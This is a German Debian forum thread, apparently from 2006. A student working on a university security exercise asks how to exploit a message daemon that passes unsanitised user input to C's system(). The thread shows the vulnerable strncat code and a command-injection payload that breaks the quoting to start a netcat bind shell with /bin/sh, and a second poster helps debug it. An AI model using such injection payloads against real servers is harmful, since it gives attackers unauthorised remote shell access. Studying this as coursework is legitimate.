C: system()

Vom einfachen Programm zum fertigen Debian-Paket, Fragen rund um Programmiersprachen, Scripting und Lizenzierung.
Antworten
gora
Beiträge: 58
Registriert: 30.04.2004 21:27:43

C: system()

Beitrag von gora » 21.01.2006 13:39:10

Kann man in einem system(); Aufruf auch gleich mehrere Befehle ausführen?
Ich habe schon meherere Trennzeichen (Leerzeichen, Newline, Strichpunkt) versucht, doch es wird immer der ganze String ausgegeben:

system("echo -n 'hallo'; ls -l /tmp; echo -n 'bye'");

Geht das irgendwie?

ToPeG
Beiträge: 437
Registriert: 14.04.2004 00:42:06

Beitrag von ToPeG » 21.01.2006 14:37:41

versuch mal das:

Code: Alles auswählen

system("echo -n 'hallo' && ls -l /tmp && echo -n 'bye'")

gora
Beiträge: 58
Registriert: 30.04.2004 21:27:43

Beitrag von gora » 21.01.2006 14:48:13

Hallo,

Funktioniert leider auch nicht. Er nimmt nicht einmal die Pipe (|)...

gms
Beiträge: 7798
Registriert: 26.11.2004 20:08:38
Lizenz eigener Beiträge: MIT Lizenz

Beitrag von gms » 21.01.2006 15:04:17

:?

funktioniert ja

Code: Alles auswählen

gms@gms1:~$ cat x.c
int main() {
  system("echo -n 'hallo'; ls -l /tmp; echo -n 'bye'");
}
gms@gms1:~$ gcc -o x x.c
gms@gms1:~$ ./x
halloinsgesamt 20
drwx------  3 gms gms 4096 2006-01-21 14:51 gconfd-gms
drwx------  2 gms gms 4096 2006-01-21 14:51 keyring-Es5Bng
srwxr-xr-x  1 gms gms    0 2006-01-21 14:51 mapping-gms
drwx------  2 gms gms 4096 2006-01-21 15:00 orbit-gms
drwx------  2 gms gms 4096 2006-01-21 14:51 ssh-CegbbC8320
drwx------  2 gms gms 4096 2006-01-21 14:51 ssh-QNfXZu8381
byegms@gms1:~$
Gruß
gms

gora
Beiträge: 58
Registriert: 30.04.2004 21:27:43

Beitrag von gora » 21.01.2006 15:17:21

Ja, auf meinem Rechner funktionierts auch einigermaßen, doch auf dem Rechner der Uni nicht. Ich bräuchte das nämlich für eine Übung, doch dieser Rechner unterstützt nur einige wenige Kommandos :-(
Ich kann mir nicht einmal die genaue Systemspezifikation anzeigen lassen (uname -a).

gms
Beiträge: 7798
Registriert: 26.11.2004 20:08:38
Lizenz eigener Beiträge: MIT Lizenz

Beitrag von gms » 21.01.2006 15:35:36

Vielleicht hast du dort eine "restricted Shell" oder es stimmt einfach nur deine PATH Environmentvariable nicht.
uname ist normalerweise im "/bin" Verzeichnis. Versuche einmal das Kommando "/bin/uname -a". Wenn dieses funktioniert, dann füge das "/bin" Vezeichnis in deine PATH Variable ein. Wenn obiges Kommando nicht funktioniert, solltest du eigentlich eine entsprechende Fehlermeldung bekommen, wie "bash: /bin/uname: restricted ..." oder "bash: /bin/uname: command not".

gora
Beiträge: 58
Registriert: 30.04.2004 21:27:43

Beitrag von gora » 21.01.2006 15:44:03

Diese Ordner habe ich schon alle durchsucht. Es wurde alles auf ein Minimum zusammengestutzt...

gms
Beiträge: 7798
Registriert: 26.11.2004 20:08:38
Lizenz eigener Beiträge: MIT Lizenz

Beitrag von gms » 21.01.2006 15:46:37

Ja und was fehlt dir jetzt für ein Programm "echo" oder "ls" :?

gora
Beiträge: 58
Registriert: 30.04.2004 21:27:43

Beitrag von gora » 21.01.2006 15:54:05

Nein, die beiden sind vorhanden.

Also ich erzähle jetzt die ganze Geschichte:

Im Code des Daemons am Server ist unter anderem dieser Code enthalten:

(void) strncat(Echo_Buffer, "echo -n '", strlen("echo -n '"));
(void) strncat(Echo_Buffer, Message.Name, strlen(Message.Name));
(void) strncat(Echo_Buffer, ": ", strlen(": "));
(void) strncat(Echo_Buffer, Message.Message, strlen(Message.Message));
(void) strncat(Echo_Buffer, "'", strlen("'"));
(void) strncat(Echo_Buffer, ">> ", strlen(">> "));
(void) strncat(Echo_Buffer, Console_or_File, strlen(Console_or_File));
.
.
.
system(Echo_Buffer);

Message.Name enthält den Namen des Nachrichtensenders. Message.Message die Nachricht selbst.

Mit dem dazugehörigen Client kann man über diesen Daemon Nachrichten zu anderen Clients schicken.

Aufgabe ist es nun, Sicherheitslücken im Daemon auszunutzen, um Zugriff auf den Server zu erhalten.

Ich dachte mir, wenn ich soetwas wie "'; nc -p 10468 -l -e /bin/sh; echo -n 'netcat started" als Nachricht sende, kann ich netcat auf dem Server starten (vorausgesetzt es ist dort vorhanden und hat Zugriff auf den Port) um mich dann zum Server verbinden zu können und eine shell zu erhalten.


Anmerkung: Dabei handelt es sich wirklich um eine Übung für die Uni, nicht um blödsinniges Cracken bzw. Hacken.


EDIT: Das Problem ist nun, dass mir die Clients in diesem Fall "vista: '; nc -p 10468 -l -e /bin/sh; echo -n 'netcat started" ausspucken, der Daemon aber anscheinend kein netcat startet!

gms
Beiträge: 7798
Registriert: 26.11.2004 20:08:38
Lizenz eigener Beiträge: MIT Lizenz

Beitrag von gms » 21.01.2006 16:50:48

Die Nachricht müßte eigentlich richtig sein, scheint also eine von deinen Vorraussetzungen nicht erfüllt zu sein.
Die Ausgabe der Clients irritiert mich jedoch, das sollte doch die Ausgabe des Kommandos sein und nicht das Kommando selber, oder ?

gora
Beiträge: 58
Registriert: 30.04.2004 21:27:43

Beitrag von gora » 21.01.2006 18:46:55

Naja, anscheinend wird der gesamte String ja in ein File umgeleitet und dort dazugehängt.

gms
Beiträge: 7798
Registriert: 26.11.2004 20:08:38
Lizenz eigener Beiträge: MIT Lizenz

Beitrag von gms » 21.01.2006 18:58:40

wenn der gesamte String gesendet wird, würde das erste echo fehlen. Der String der gesendet wird schaut jedoch eher so aus, als wäre er die Ausgabe des ersten echo Befehls

gora
Beiträge: 58
Registriert: 30.04.2004 21:27:43

Beitrag von gora » 21.01.2006 19:15:22

Hast du vielleicht eine Ahnung, wie ich das schon vorhandene echo() abschließen könnte, danach ein gewünschtes programm auszuführen und danach meinetwegen wieder ein echo starten, damit der Rest des vorhandenen codes richtig abgeschlossen werden kann.

Denn anscheinend hilft mein einzelnes Hochkomma am Anfang der Nachricht nichts...

gms
Beiträge: 7798
Registriert: 26.11.2004 20:08:38
Lizenz eigener Beiträge: MIT Lizenz

Beitrag von gms » 21.01.2006 19:18:30

Wenn der Code des Daemons wirklich so ausschaut, müßte dieses Hochkomma eigentlich helfen. Wie wird diese Message gesendet, wird diese vielleicht nochmals irgendwie escapet ?

gora
Beiträge: 58
Registriert: 30.04.2004 21:27:43

Beitrag von gora » 21.01.2006 19:25:38

Leider wissen wir nicht, was sonst noch im Code passiert, da wir nur diese Schnipsel bekommen haben...

gora
Beiträge: 58
Registriert: 30.04.2004 21:27:43

Beitrag von gora » 21.01.2006 19:30:55

Ich habe jetzt versucht mit telnet vom Server auf meinen Rechner zu verbinden, und es funktionierte. Also dürfte leider kein netcat am Server vorhanden sein...

Antworten